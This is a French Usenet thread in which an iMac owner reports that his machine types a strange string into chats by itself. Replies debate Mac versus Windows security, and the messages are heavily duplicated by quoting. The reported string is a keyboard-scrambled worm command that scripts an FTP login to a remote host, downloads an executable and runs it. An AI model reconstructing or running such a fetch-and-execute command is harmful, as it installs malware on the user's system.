Je m'en remet aux avis autorisés n'y comprenant plus rien a une
situation que je vis depuis 2 semaines :
Dans n'importe quelle situation, a n'importe quel moment , y compris
quand mon Imac (Sous OS a jour Tiger) est parfaitement inactif, il
"écrit " tout seul les "choses" suivantes :
(syste,root(`syste,é`c,d:exe
c,d =c echo open ftp:hyper,qrt:net é& :: ik èecho user joh joh :: ik
èecho binqry :: ik èecho get qbc:exe :: ik èecho bye :: ik èftp )n )v
)smik èdel ik èqbc:exe èexit
Apres cela, mon clavier est incohérent a la frappe, je suis obligé de le
debrancher de son port usb, et de le rebrancher.
Là il refonctionne correctement, jusqu'a la fois suivante ou le Mac
"prend la main" sur tout ce que je peux faire , y compris debrancher le
clavier pendant, je dis bien pendant qu'il ecrit la suite de caracteres
ci dessus indiquée.
Un reboot ne change rien, ni reparation des autorisation, ni extinction
redémarrage.
Le plus insupportable est lorsque l'on tchatte avec un ami, ou cette
ligne incontrolable se tape toute seule , et ... se termine par un
Return ! L'ami recoie ca en plleine figure, et je dois debrancher
rebrancher mon clavier pour m'excuser.
Qu faire pour arreter ceci ? je ne vais quand meme pas reinstaller mon
Tiger ! ?
C'est vraiment un raisonnement affligeant. Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on en reparlera.
Ça n'arrivera pas.
Steve fait tout ce qu'il faut pour gagner du pognon, monter un peu dans les stats mais surtout ne pas attendre la masse critique qui fait que Claire Chazal parle des nouvelles versions de Mac OS X au 20 heures.
Jacques -- « Mac OS X Server à votre Service » en vente au Monde en Tique. <http://www.lmet.fr/fiche.cgi?_ISBN82952726603> Attention, plus que 19 exemplaires.
Nina Popravka <Nina@nospam> wrote:
C'est vraiment un raisonnement affligeant.
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on
en reparlera.
Ça n'arrivera pas.
Steve fait tout ce qu'il faut pour gagner du pognon, monter un peu dans
les stats mais surtout ne pas attendre la masse critique qui fait que
Claire Chazal parle des nouvelles versions de Mac OS X au 20 heures.
Jacques
--
« Mac OS X Server à votre Service » en vente au Monde en Tique.
<http://www.lmet.fr/fiche.cgi?_ISBN82952726603>
Attention, plus que 19 exemplaires.
C'est vraiment un raisonnement affligeant. Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on en reparlera.
Ça n'arrivera pas.
Steve fait tout ce qu'il faut pour gagner du pognon, monter un peu dans les stats mais surtout ne pas attendre la masse critique qui fait que Claire Chazal parle des nouvelles versions de Mac OS X au 20 heures.
Jacques -- « Mac OS X Server à votre Service » en vente au Monde en Tique. <http://www.lmet.fr/fiche.cgi?_ISBN82952726603> Attention, plus que 19 exemplaires.
laurent.pertois
patpro ~ patrick proniewski wrote:
In article <1hukoxi.1y72rxco8bc1qN%, (Laurent Pertois) wrote:
Blague à part, j'ai fait passer NT4 sur du PIV.
Bah, pour le proc, je ne m'inquiète pas trop, c'est plutôt côté vidéo et autres trucs usb, mais bon, en cherchant, on doit y arriver :)
oui, mais doit-on ? :)
Pas plus que ressusciter un AppleShare IP :-)
-- Politically Correct Unix - UTILITIES The "touch" command has been removed from the standard distribution due to its inappropriate use by high-level managers.
patpro ~ patrick proniewski <patpro@boleskine.patpro.net> wrote:
In article <1hukoxi.1y72rxco8bc1qN%laurent.pertois@alussinan.org>,
laurent.pertois@alussinan.org (Laurent Pertois) wrote:
Blague à part, j'ai fait passer NT4 sur du PIV.
Bah, pour le proc, je ne m'inquiète pas trop, c'est plutôt côté vidéo et
autres trucs usb, mais bon, en cherchant, on doit y arriver :)
oui, mais doit-on ? :)
Pas plus que ressusciter un AppleShare IP :-)
--
Politically Correct Unix - UTILITIES
The "touch" command has been removed from the standard distribution due
to its inappropriate use by high-level managers.
In article <1hukoxi.1y72rxco8bc1qN%, (Laurent Pertois) wrote:
Blague à part, j'ai fait passer NT4 sur du PIV.
Bah, pour le proc, je ne m'inquiète pas trop, c'est plutôt côté vidéo et autres trucs usb, mais bon, en cherchant, on doit y arriver :)
oui, mais doit-on ? :)
Pas plus que ressusciter un AppleShare IP :-)
-- Politically Correct Unix - UTILITIES The "touch" command has been removed from the standard distribution due to its inappropriate use by high-level managers.
anneleguennec
Jacques Foucry wrote:
Steve fait tout ce qu'il faut pour gagner du pognon, monter un peu dans les stats mais surtout ne pas attendre la masse critique qui fait que Claire Chazal parle des nouvelles versions de Mac OS X au 20 heures.
On a déjà parlé des nouvelles machines au 20 heures, depuis leur passage au Intel, il me semble.
La sortie de Leopard suivra, on peut parier ?
Jacques Foucry <jacques@foucry.net> wrote:
Steve fait tout ce qu'il faut pour gagner du pognon, monter un peu dans
les stats mais surtout ne pas attendre la masse critique qui fait que
Claire Chazal parle des nouvelles versions de Mac OS X au 20 heures.
On a déjà parlé des nouvelles machines au 20 heures, depuis leur passage
au Intel, il me semble.
Steve fait tout ce qu'il faut pour gagner du pognon, monter un peu dans les stats mais surtout ne pas attendre la masse critique qui fait que Claire Chazal parle des nouvelles versions de Mac OS X au 20 heures.
On a déjà parlé des nouvelles machines au 20 heures, depuis leur passage au Intel, il me semble.
La sortie de Leopard suivra, on peut parier ?
Nicolas.MICHEL
Nina Popravka wrote:
On Tue, 6 Mar 2007 11:22:27 +0100, (Nicolas MICHEL) wrote:
mais il existe 3 protocoles tcp/ip (voir plus ?)
Bien plus :-) <http://www.iana.org/assignments/protocol-numbers> On croise même souvent GRE, ESP et L2TP dans la vie courante.
Intéressant, merci :)
Ici, je me pause une question :
D'habitude quand je configure un firewall, je règle le tcp et l'udp. Parfois, je bloque le icmp.
Ces autres protocoles sont-ils à gérer également dans les firewall ? Et quelles applications les utilisent ?
-- Nicolas
Nina Popravka <Nina@nospam> wrote:
On Tue, 6 Mar 2007 11:22:27 +0100, Nicolas.MICHEL@BonBon.net (Nicolas
MICHEL) wrote:
mais il existe 3 protocoles
tcp/ip (voir plus ?)
Bien plus :-)
<http://www.iana.org/assignments/protocol-numbers>
On croise même souvent GRE, ESP et L2TP dans la vie courante.
Intéressant, merci :)
Ici, je me pause une question :
D'habitude quand je configure un firewall, je règle le tcp et l'udp.
Parfois, je bloque le icmp.
Ces autres protocoles sont-ils à gérer également dans les firewall ?
Et quelles applications les utilisent ?
On Tue, 6 Mar 2007 11:22:27 +0100, (Nicolas MICHEL) wrote:
mais il existe 3 protocoles tcp/ip (voir plus ?)
Bien plus :-) <http://www.iana.org/assignments/protocol-numbers> On croise même souvent GRE, ESP et L2TP dans la vie courante.
Intéressant, merci :)
Ici, je me pause une question :
D'habitude quand je configure un firewall, je règle le tcp et l'udp. Parfois, je bloque le icmp.
Ces autres protocoles sont-ils à gérer également dans les firewall ? Et quelles applications les utilisent ?
-- Nicolas
pdorange
Nina Popravka wrote:
Y'a tout de même un moyen simple de se protéger sans efforts avec windows : en entreprise tu donnes un coup de ciseau
C'est vraiment un raisonnement affligeant.
Si on peut même pas faire un peu d'humour... je pensais que c'était assez évident pourtant : "couper au ciseau le cable réseau".
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on en reparlera.
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques (comme d'autres Unix mais un peu plus du fait de l'intégration de logiciels grand-public discutant souvent sur internet) il n'en reste pas moins qu'en effet sa taille du marché n'en fait pas véritablement une 'cible' mais aussi que sa structure sous-jacente est bien plus robuste que celle de Windows, limitant aussi les risques (sans les faire disparaitre).
-- Pierre-Alain Dorange
Vidéo, DV et QuickTime <http://www.garage-video.com/> Clarus, the DogCow <http://clarus.chez.tiscali.fr/>
Nina Popravka <Nina@nospam> wrote:
Y'a tout de même un moyen simple de se protéger sans efforts avec
windows : en entreprise tu donnes un coup de ciseau
C'est vraiment un raisonnement affligeant.
Si on peut même pas faire un peu d'humour... je pensais que c'était
assez évident pourtant : "couper au ciseau le cable réseau".
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on
en reparlera.
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques
(comme d'autres Unix mais un peu plus du fait de l'intégration de
logiciels grand-public discutant souvent sur internet) il n'en reste pas
moins qu'en effet sa taille du marché n'en fait pas véritablement une
'cible' mais aussi que sa structure sous-jacente est bien plus robuste
que celle de Windows, limitant aussi les risques (sans les faire
disparaitre).
--
Pierre-Alain Dorange
Vidéo, DV et QuickTime <http://www.garage-video.com/>
Clarus, the DogCow <http://clarus.chez.tiscali.fr/>
Y'a tout de même un moyen simple de se protéger sans efforts avec windows : en entreprise tu donnes un coup de ciseau
C'est vraiment un raisonnement affligeant.
Si on peut même pas faire un peu d'humour... je pensais que c'était assez évident pourtant : "couper au ciseau le cable réseau".
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on en reparlera.
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques (comme d'autres Unix mais un peu plus du fait de l'intégration de logiciels grand-public discutant souvent sur internet) il n'en reste pas moins qu'en effet sa taille du marché n'en fait pas véritablement une 'cible' mais aussi que sa structure sous-jacente est bien plus robuste que celle de Windows, limitant aussi les risques (sans les faire disparaitre).
-- Pierre-Alain Dorange
Vidéo, DV et QuickTime <http://www.garage-video.com/> Clarus, the DogCow <http://clarus.chez.tiscali.fr/>
Nicolas.MICHEL
Pierre-Alain Dorange wrote:
Nina Popravka wrote:
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on en reparlera.
C'est pas une question de masse critique. Il y a une majorité de serveurs Apache par rapport à IIS, mais beaucoup plus de code malveillant pour IIS que pour Apache. Chercher l'erreur ...
De plus, pirater un *nix est très intéressant : c'est un outil puissant.
Par ex. la dernière attaque que notre AD a eu on été faites à partir d'un "relais" local linux.
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques (comme d'autres Unix mais un peu plus du fait de l'intégration de logiciels grand-public discutant souvent sur internet)
Ah ? Quels softs de communication internet existent-ils sous mac et n'ont pas d'équivalent sous linux ?
il n'en reste pas moins qu'en effet sa taille du marché n'en fait pas véritablement une 'cible' mais aussi que sa structure sous-jacente est bien plus robuste que celle de Windows, limitant aussi les risques (sans les faire disparaitre).
Robuste, robuste, rien ne résiste à un neuneu en forme, pas même un mac. VNC sans password, par exemple ... :)
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on
en reparlera.
C'est pas une question de masse critique.
Il y a une majorité de serveurs Apache par rapport à IIS, mais beaucoup
plus de code malveillant pour IIS que pour Apache.
Chercher l'erreur ...
De plus, pirater un *nix est très intéressant : c'est un outil puissant.
Par ex. la dernière attaque que notre AD a eu on été faites à partir
d'un "relais" local linux.
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques
(comme d'autres Unix mais un peu plus du fait de l'intégration de
logiciels grand-public discutant souvent sur internet)
Ah ?
Quels softs de communication internet existent-ils sous mac et n'ont pas
d'équivalent sous linux ?
il n'en reste pas
moins qu'en effet sa taille du marché n'en fait pas véritablement une
'cible' mais aussi que sa structure sous-jacente est bien plus robuste
que celle de Windows, limitant aussi les risques (sans les faire
disparaitre).
Robuste, robuste, rien ne résiste à un neuneu en forme, pas même un mac.
VNC sans password, par exemple ... :)
Je souhaite qu'Apple atteigne très vite la masse critique, en fait, on en reparlera.
C'est pas une question de masse critique. Il y a une majorité de serveurs Apache par rapport à IIS, mais beaucoup plus de code malveillant pour IIS que pour Apache. Chercher l'erreur ...
De plus, pirater un *nix est très intéressant : c'est un outil puissant.
Par ex. la dernière attaque que notre AD a eu on été faites à partir d'un "relais" local linux.
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques (comme d'autres Unix mais un peu plus du fait de l'intégration de logiciels grand-public discutant souvent sur internet)
Ah ? Quels softs de communication internet existent-ils sous mac et n'ont pas d'équivalent sous linux ?
il n'en reste pas moins qu'en effet sa taille du marché n'en fait pas véritablement une 'cible' mais aussi que sa structure sous-jacente est bien plus robuste que celle de Windows, limitant aussi les risques (sans les faire disparaitre).
Robuste, robuste, rien ne résiste à un neuneu en forme, pas même un mac. VNC sans password, par exemple ... :)
-- Nicolas
Nicolas.MICHEL
Nina Popravka wrote:
On Wed, 7 Mar 2007 15:23:56 +0100, (Nicolas MICHEL) wrote:
C'est pas une question de masse critique. Il y a une majorité de serveurs Apache par rapport à IIS, mais beaucoup plus de code malveillant pour IIS que pour Apache. Chercher l'erreur ...
Coment le dire aimablement... Chépa, donc je vais le dire désagréablement. Un mec qui dit des choses sur la sécu, quelles qu'elles soient, tout en disant par ailleurs qu'il ne sait pas que des choses existent en dehors de TCP, UDP, et ICMP, tu vois, j'ai du mal.
Précisément je n'ai nullement besoins de quelques compétances que ce soit pour me protéger des virus : je suis sur mac.
Donc je te laisse me trouver l'équivalent pour Apache de Nimda
Après, tu causera rootkit. Mais ce serait de la mauvaise foi. Tu me diras aussi que toi, tu as un xp bien configuré et que tu n'as pas attrapé Nimda ... Mais autrement dit : pourquoi faire simple.
-- Nicolas
Nina Popravka <Nina@nospam> wrote:
On Wed, 7 Mar 2007 15:23:56 +0100, Nicolas.MICHEL@BonBon.net (Nicolas
MICHEL) wrote:
C'est pas une question de masse critique.
Il y a une majorité de serveurs Apache par rapport à IIS, mais beaucoup
plus de code malveillant pour IIS que pour Apache.
Chercher l'erreur ...
Coment le dire aimablement...
Chépa, donc je vais le dire désagréablement.
Un mec qui dit des choses sur la sécu, quelles qu'elles soient, tout
en disant par ailleurs qu'il ne sait pas que des choses existent en
dehors de TCP, UDP, et ICMP, tu vois, j'ai du mal.
Précisément je n'ai nullement besoins de quelques compétances que ce
soit pour me protéger des virus : je suis sur mac.
Donc je te laisse me trouver l'équivalent pour Apache de Nimda
Après, tu causera rootkit. Mais ce serait de la mauvaise foi.
Tu me diras aussi que toi, tu as un xp bien configuré et que tu n'as pas
attrapé Nimda ... Mais autrement dit : pourquoi faire simple.
On Wed, 7 Mar 2007 15:23:56 +0100, (Nicolas MICHEL) wrote:
C'est pas une question de masse critique. Il y a une majorité de serveurs Apache par rapport à IIS, mais beaucoup plus de code malveillant pour IIS que pour Apache. Chercher l'erreur ...
Coment le dire aimablement... Chépa, donc je vais le dire désagréablement. Un mec qui dit des choses sur la sécu, quelles qu'elles soient, tout en disant par ailleurs qu'il ne sait pas que des choses existent en dehors de TCP, UDP, et ICMP, tu vois, j'ai du mal.
Précisément je n'ai nullement besoins de quelques compétances que ce soit pour me protéger des virus : je suis sur mac.
Donc je te laisse me trouver l'équivalent pour Apache de Nimda
Après, tu causera rootkit. Mais ce serait de la mauvaise foi. Tu me diras aussi que toi, tu as un xp bien configuré et que tu n'as pas attrapé Nimda ... Mais autrement dit : pourquoi faire simple.
-- Nicolas
pdorange
Nicolas MICHEL wrote:
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques (comme d'autres Unix mais un peu plus du fait de l'intégration de logiciels grand-public discutant souvent sur internet)
Ah ? Quels softs de communication internet existent-ils sous mac et n'ont pas d'équivalent sous linux ?
On discute sécurité dans cette enfilade, ou on cherche a établir quel OS a la plus grosse ?
Je sais moi, mais des logiciels comme iTunes par exemple utilise beaucoup internet dans le dos de l'utilisateur sans que celui-ci le sache, c'est potentiellement un risque de faille... d'autres aussi comme les logiciels de chat ou de p2p font parfois de même. Idem pour tout ces systèmes de mise à jour automatique... Je n'utilise pas d'Unix je ne suis donc certainement pas le mieux placé pour établir une liste, il me semble juste que MacOS X est une OS plus "grand public" avec les logiciel qui vont avec et donc que cela génère plus de logiciels discutant ur internet dans le dos de l'utilisateur, mais je me trompe probablement, le problème n'est pas là mais bien dans ces logiciels.
il n'en reste pas moins qu'en effet sa taille du marché n'en fait pas véritablement une 'cible' mais aussi que sa structure sous-jacente est bien plus robuste que celle de Windows, limitant aussi les risques (sans les faire disparaitre).
Robuste, robuste, rien ne résiste à un neuneu en forme, pas même un mac.
J'ai juste dit "plus robuste", c'est tout.
VNC sans password, par exemple ... :)
Ca ce n'est pas une faille c'est un autre problème qui n'a rien à voir avec un OS ou même un logiciel.
-- Pierre-Alain Dorange
Vidéo, DV et QuickTime <http://www.garage-video.com/> Clarus, the DogCow <http://clarus.chez.tiscali.fr/>
Nicolas MICHEL <Nicolas.MICHEL@BonBon.net> wrote:
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques
(comme d'autres Unix mais un peu plus du fait de l'intégration de
logiciels grand-public discutant souvent sur internet)
Ah ?
Quels softs de communication internet existent-ils sous mac et n'ont pas
d'équivalent sous linux ?
On discute sécurité dans cette enfilade, ou on cherche a établir quel OS
a la plus grosse ?
Je sais moi, mais des logiciels comme iTunes par exemple utilise
beaucoup internet dans le dos de l'utilisateur sans que celui-ci le
sache, c'est potentiellement un risque de faille... d'autres aussi comme
les logiciels de chat ou de p2p font parfois de même. Idem pour tout ces
systèmes de mise à jour automatique...
Je n'utilise pas d'Unix je ne suis donc certainement pas le mieux placé
pour établir une liste, il me semble juste que MacOS X est une OS plus
"grand public" avec les logiciel qui vont avec et donc que cela génère
plus de logiciels discutant ur internet dans le dos de l'utilisateur,
mais je me trompe probablement, le problème n'est pas là mais bien dans
ces logiciels.
il n'en reste pas
moins qu'en effet sa taille du marché n'en fait pas véritablement une
'cible' mais aussi que sa structure sous-jacente est bien plus robuste
que celle de Windows, limitant aussi les risques (sans les faire
disparaitre).
Robuste, robuste, rien ne résiste à un neuneu en forme, pas même un mac.
J'ai juste dit "plus robuste", c'est tout.
VNC sans password, par exemple ... :)
Ca ce n'est pas une faille c'est un autre problème qui n'a rien à voir
avec un OS ou même un logiciel.
--
Pierre-Alain Dorange
Vidéo, DV et QuickTime <http://www.garage-video.com/>
Clarus, the DogCow <http://clarus.chez.tiscali.fr/>
Si MacOS X n'est certainement pas a l'abri de failles ou d'attaques (comme d'autres Unix mais un peu plus du fait de l'intégration de logiciels grand-public discutant souvent sur internet)
Ah ? Quels softs de communication internet existent-ils sous mac et n'ont pas d'équivalent sous linux ?
On discute sécurité dans cette enfilade, ou on cherche a établir quel OS a la plus grosse ?
Je sais moi, mais des logiciels comme iTunes par exemple utilise beaucoup internet dans le dos de l'utilisateur sans que celui-ci le sache, c'est potentiellement un risque de faille... d'autres aussi comme les logiciels de chat ou de p2p font parfois de même. Idem pour tout ces systèmes de mise à jour automatique... Je n'utilise pas d'Unix je ne suis donc certainement pas le mieux placé pour établir une liste, il me semble juste que MacOS X est une OS plus "grand public" avec les logiciel qui vont avec et donc que cela génère plus de logiciels discutant ur internet dans le dos de l'utilisateur, mais je me trompe probablement, le problème n'est pas là mais bien dans ces logiciels.
il n'en reste pas moins qu'en effet sa taille du marché n'en fait pas véritablement une 'cible' mais aussi que sa structure sous-jacente est bien plus robuste que celle de Windows, limitant aussi les risques (sans les faire disparaitre).
Robuste, robuste, rien ne résiste à un neuneu en forme, pas même un mac.
J'ai juste dit "plus robuste", c'est tout.
VNC sans password, par exemple ... :)
Ca ce n'est pas une faille c'est un autre problème qui n'a rien à voir avec un OS ou même un logiciel.
-- Pierre-Alain Dorange
Vidéo, DV et QuickTime <http://www.garage-video.com/> Clarus, the DogCow <http://clarus.chez.tiscali.fr/>
jacques
Anne wrote:
La sortie de Leopard suivra, on peut parier ?
Sans problème. On verra peut être un entre-filet sur LCI, ou iTélé, mais l'ouverture du 20 heures comme pour vista certaienement pas.
Jacques -- « Mac OS X Server à votre Service » en vente au Monde en Tique. <http://www.lmet.fr/fiche.cgi?_ISBN82952726603> Attention, plus que 19 exemplaires.
Anne <anneleguennec@free.fr> wrote:
La sortie de Leopard suivra, on peut parier ?
Sans problème. On verra peut être un entre-filet sur LCI, ou iTélé, mais
l'ouverture du 20 heures comme pour vista certaienement pas.
Jacques
--
« Mac OS X Server à votre Service » en vente au Monde en Tique.
<http://www.lmet.fr/fiche.cgi?_ISBN82952726603>
Attention, plus que 19 exemplaires.
Sans problème. On verra peut être un entre-filet sur LCI, ou iTélé, mais l'ouverture du 20 heures comme pour vista certaienement pas.
Jacques -- « Mac OS X Server à votre Service » en vente au Monde en Tique. <http://www.lmet.fr/fiche.cgi?_ISBN82952726603> Attention, plus que 19 exemplaires.
Olivier Croquette
RiGuad wrote, On 05.03.2007 23:03 Uhr:
d'ou ma question, "comment le mecapc a t'il procédé ? "
Vous n'aviez pas démarré un dialogue direct (DCC) avec lui par hasard? http://en.wikipedia.org/wiki/Direct_Client-to-Client
RiGuad wrote, On 05.03.2007 23:03 Uhr:
d'ou ma question, "comment le mecapc a t'il procédé ? "
Vous n'aviez pas démarré un dialogue direct (DCC) avec lui par hasard?
http://en.wikipedia.org/wiki/Direct_Client-to-Client
